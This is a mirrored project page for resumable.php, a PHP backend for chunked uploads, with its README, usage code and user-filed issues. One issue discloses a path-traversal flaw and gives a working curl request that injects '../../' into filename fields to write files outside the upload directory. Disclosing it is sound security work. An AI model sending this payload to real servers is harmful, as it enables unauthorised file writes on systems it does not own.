Code Monkey home page Code Monkey logo

resumable.php's Introduction

PHP backend for resumable.js

Installation

To install, use composer:

composer require dilab/resumable.php

How to use

upload.php

<?php
include 'vendor/autoload.php';

use Dilab\Network\SimpleRequest;
use Dilab\Network\SimpleResponse;
use Dilab\Resumable;

$request = new SimpleRequest();
$response = new SimpleResponse();
// optional instanceId to separate uploads from diffrent users like if two users want to upload untitled.jpg there would be no conflict anymore
$instanceId = session_id();

$resumable = new Resumable($request, $response, $instanceId);
$resumable->tempFolder = 'tmps';
$resumable->uploadFolder = 'uploads';
$status = $resumable->process();

return match ($status){
            200 => ['message' => 'OK'], // Uploading of chunk is complete.
            201 => [
                'message' => 'File uploaded',
                'file' => $_REQUEST['resumableFilename']
            ],// Uploading of whole file is complete.
            204 => ['message' => 'Chunk not found'],
            default => ['message' => 'An error occurred'] //status => 404
        };

More

Setting custom filename(s)

// custom filename (extension from original file will be magically removed and re-appended)
$originalName = $resumable->getOriginalFilename(Resumable::WITHOUT_EXTENSION); // will gove you "original Name" instead of "original Name.png"

// do some slugification or whatever you need...
$slugifiedname = my_slugify($originalName); // this is up to you, it as ported out of the library.
$resumable->setFilename($slugifiedname);

// process upload as normal
$resumable->process();

// you can also get file information after the upload is complete
if (true === $resumable->isUploadComplete()) { // true when the final file has been uploaded and chunks reunited.
    $extension = $resumable->getExtension();
    $filename = $resumable->getFilename();
}

Testing

$ ./vendor/bin/phpunit

resumable.php's People

Contributors

abilogos avatar adadgio avatar agungsijawir avatar dilab avatar georaldc avatar nk53 avatar nyan1337 avatar williamdes avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar

resumable.php's Issues

Non english symbols in uploaded file

Hello, I fount that on some servers unable to load file with non english symbols in their names. I did changes in Resumable.php in method:
public function tmpChunkFilename($filename, $chunkNumber)
{
return md5($filename) . '.part' . $chunkNumber;
}

Make Contribution

Hi @dilab ,

first Thanks for the convenient library you have made for the PHP backend of resumable j.

I have used it in my legacy projects,
but this year I wanted to use it again I have found the monolog version I had was different with dilab/resumale.php then I have improved and fixed a bug ...

now, I am trying to update the unit test codes to be upgraded and work with the latest phpunit.

I think this library is great and I want to revive & fresh it though.

so I was wondering how can I share my contributions ?

just make a PR with all changes or one-PR-per-one-improvement ?

Uploaded binary files differ from originals

Installed with composer and used the upload.php code from under "How to use".

Large finished files under the uploads directory DO NOT match the originals. This makes the whole script useless.

Security vulnerability - arbitrary file upload anywhere in the file system

Hi @dilab
How can I contact you about the security vulnerability I found ?

Here is how to reproduce the vulnerability:

curl 'https://example.org/upload.php?resumableChunkNumber=1&resumableChunkSize=1048576&resumableCurrentChunkSize=80881&resumableTotalSize=80881&resumableType=&resumableIdentifier=80881-resumablejsmap&resumableFileCategory=default&resumableFilename=../test.txt&resumableRelativePath=../../test-hack.txt&resumableTotalChunks=1' \
  -H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryBAX4owzrRwdmveis' \
  --data-raw $'------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkNumber"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableChunkSize"\r\n\r\n1048576\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableCurrentChunkSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalSize"\r\n\r\n80881\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableType"\r\n\r\n\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableIdentifier"\r\n\r\n80881-resumablejsmap\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFileCategory"\r\n\r\ndefault\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableFilename"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableRelativePath"\r\n\r\n../../test-hack.txt\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="resumableTotalChunks"\r\n\r\n1\r\n------WebKitFormBoundaryBAX4owzrRwdmveis\r\nContent-Disposition: form-data; name="file"; filename="../../test-hack.txt"\r\nContent-Type: application/octet-stream\r\n\r\ntestok\r\n------WebKitFormBoundaryBAX4owzrRwdmveis--\r\n' \
  --compressed

The file will be created at ../../test-hack.txt relative to the upload path.

NOTE: it seems like it is not possible to overwrite files after version 0.1.4 because of (#27)

Affected repos: https://github.com/search?q=%22%24filename+.+%27.%27+.+str_pad%22&type=code

Broke framework compatibility

I use this package with laravel, after last updating via composer I have got problems with .env files, coz new version of cake FS require cake core, that provide own env() helper, which disable default laravel env() helper and broke configuration parsing. I switched to cakephp/filesystem 3.5.4 and it works for me, now. But it crazy.

frontend

Hi There,

I'm curious to what the front-end would look like to get this to work. Are there any examples?

Thanks

Resumable is not defined

I am trying to learn to work with Resumable.js, and I keep coming up with the following error:

ReferenceError: Resumable is not defined.

In addition, clicking the h1 browseButton tag does not give a response. I have not made any changes to the resumable.js file, and my html in the test file is as follows:

<script src="resumable.js" type="application/javascript"></script>
<script>
var r = new Resumable({
  target: 'phptest.php',
});


r.assignBrowse(document.getElementById('browseButton'));
r.assignDrop(document.getElementById('browseButton'));

r.on('fileSuccess', function(file){
    console.debug('fileSuccess',file);
  });
r.on('fileProgress', function(file){
    console.debug('fileProgress', file);
  });
r.on('fileAdded', function(file, event){
    r.upload();
    console.debug('fileAdded', event);
  });
r.on('filesAdded', function(array){
    r.upload();
    console.debug('filesAdded', array);
  });
r.on('fileRetry', function(file){
    console.debug('fileRetry', file);
  });
r.on('fileError', function(file, message){
    console.debug('fileError', file, message);
  });
r.on('uploadStart', function(){
    console.debug('uploadStart');
  });
r.on('complete', function(){
    console.debug('complete');
  });
r.on('progress', function(){
    console.debug('progress');
  });
r.on('error', function(message, file){
    console.debug('error', message, file);
  });
r.on('pause', function(){
    console.debug('pause');
  });
r.on('cancel', function(){
    console.debug('cancel');
  });
</script>
<h1 id="browseButton">Select files</h1>

SimpleRequest is empty

I use Laravel and AngularJS. I tested so much and nothing worked... first i startet with flow.js now ended with resumable ... i think i only have a last problem before it will work. I have this code:

...
use Dilab\Network\SimpleRequest as DilabSimpleRequest;
use Dilab\Network\SimpleResponse as DilabSimpleResponse;
use Dilab\Resumable as DilabResumable;
...
// Setup resumeable
$request = new DilabSimpleRequest();
$response = new DilabSimpleResponse();
$resumable = new DilabResumable($request, $response);
$resumable->tempFolder = $chunkDir;
$resumable->uploadFolder = $basicDir;
...
// Upload
$resumable->process();
...

What i found is that $request seems to be empty. If i do the following code, i dont get an object...

return json_encode([
'success' => $request
]);

Hope you can help me? :(

Monolog

Just checked composer.json and monolog is included, but for some reason it didnt get installed with composer require ... o_O

Add ability to specify uploaded filename?

Would it be reasonable to have a method to dictate what the uploaded file filename would be (instead of using the original filename)? I could probably come up with a PR if so

Cannot make it work, error in script

Hi I followed the tutorial installing all the required components through bower and composer. And I get this error,

localhost/:8 GET http://localhost/ResumableProj/bower_components/resumablejs/resumable.js (index):51 Uncaught ReferenceError: Resumable is not defined(anonymous function) @ (index):51.

Can you help ?

This doesn't work in the latest version ?

I followed the tutorial complete, and downloaded the source. I can get the UI correct with no errors now but I get a lot of errors.
When I try to use the code descibed in the tutorial , I get a bunch of error as follows:

``resumable.js:597 GET http://localhost/ResumableProj/upload.php?resumableChunkNumber=1&&resumableTotalChunks=215 500 (Internal Server Error)ResumableChunk.$.test @ resumable.js:597ResumableChunk.$.send @ resumable.js:616(anonymous function) @ resumable.js:788$h.each @ resumable.js:134(anonymous function) @ resumable.js:786$h.each @ resumable.js:134$.uploadNextChunk @ ....`

Please Advice.

Request type detection

Hi,
i encountered a small problem, not sure if it could be considered a bug.

I'm doing my upload with a POST request — as in, the HTTP header is set to post and the resumable data is in the POST body.
However, the URL I'm sending the POST request to has a GET param as well, ie. ``htttp://localhost/upload?token=lol`. Because of that, the SimpleRequest class in Resumable.php thinks it's a GET request, tried to load the params from GET and fails.

I think it would make sense to change the code here to use the HTTP header to detect the type of request rather than the ìsset() call. What do you think? I can probably submit a PR if that's ok for you.

mkdir file exists

this chunk of code on resumable.php at times fails with mkdir file exists please help

public function tmpChunkDir($identifier)
    {
        $tmpChunkDir = $this->tempFolder . DIRECTORY_SEPARATOR . $identifier;
        if (!file_exists($tmpChunkDir)) {
            mkdir($tmpChunkDir);
        }
        return $tmpChunkDir;
    }

if the last chunk reach at last it will fail

in class Resumable function isFileUploadComplete()

for ($i = 1; $i < $numOfChunks; $i++) { // this suppose to be $i <= $numOfChunks;
if (!$this->isChunkUploaded($identifier, $filename, $i)) {
return false;
}
}

Feedback

Hi,
I just installed this and gave it a test drive. A couple of things

  • monolog is listed as a dev dependecy but is used within the code, so if it's not installed there is an error
  • errors are generated when the temp and upload folders don't exist. I didn't expect to have to create a temp folder but whatever.
  • once everyhting is setup, it works like a charm
  • my main concern is that the process function is a total black box. From the outside, I have absolutely no way of telling what just happened (test request? new upload? resumed? end?)

Did I miss something? If not, do you have any plans to address this, or would you accept a patch adding this sort of features?

Cheers,
Yannick

Composer Install Error

Hello,

Composer Install Error:

[example@serve public_html]$ composer require dilab/resumable.php dev-master
./composer.json has been updated
Loading composer repositories with package information
Updating dependencies (including require-dev)
Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Installation request for dilab/resumable.php dev-master -> satisfiable by dilab/resumable.php[dev-master].
    - dilab/resumable.php dev-master requires monolog/monolog ^1.17 -> satisfiable by monolog/monolog[1.17.0, 1.17.1, 1.17.2, 1.18.0, 1.18.1, 1.18.2, 1.19.0, 1.20.0, 1.21.0, 1.22.0, 1.22.1, 1.23.0, 1.24.0, 1.25.0, 1.25.1, 1.25.2, 1.25.3, 1.x-dev] but these conflict with your requirements or minimum-stability.

headers and HTTP 1.1

I strongly recommend, that you use

header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found");

instead of

header("HTTP/1.0 404 Not Found");

Inside SimpleResponse class.

Especially when we have HTTP/1.1 now everywhere...

Code is not working out of the box

So I installed this with composer, and turns out the dependencies were not right. So I changed the composer version to dev-master, and now the code runs without errors but the files are nowhere to be seen.

I spent a few hours trying to fix this issue, to no avail. I decided to try a new backend script afterwards and it worked perfectly.

So I don't know what is wrong specifically but I'm pretty sure this repository isn't working out of the box right now, if you're trying to use it, beware.

@dilab, please see if you can update the code or add some information regarding this on the readme

Update composer package

I installed this package with composer and got a version with an outdated composer.json (didn't include changes from #10).

Pretty please update?

Server returns 200 when file paths are wrong

I tried uploading files when the $resumable->tempFolder and $resumable->uploadFolder were pointing to folders/files that didn't exist, and the server was still returning 200 for every call (regardless of testChunks on/off)

Use of Monolog in __construct?

I just updated my resumable.php package and noticed all my upload code stopped working. Looks like you added monolog support a few months ago and your class is trying to instantiate the monolog class in the constructor method. Monolog is defined as a dev dependency in your package though so it won't pull in when other users want to use your package.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.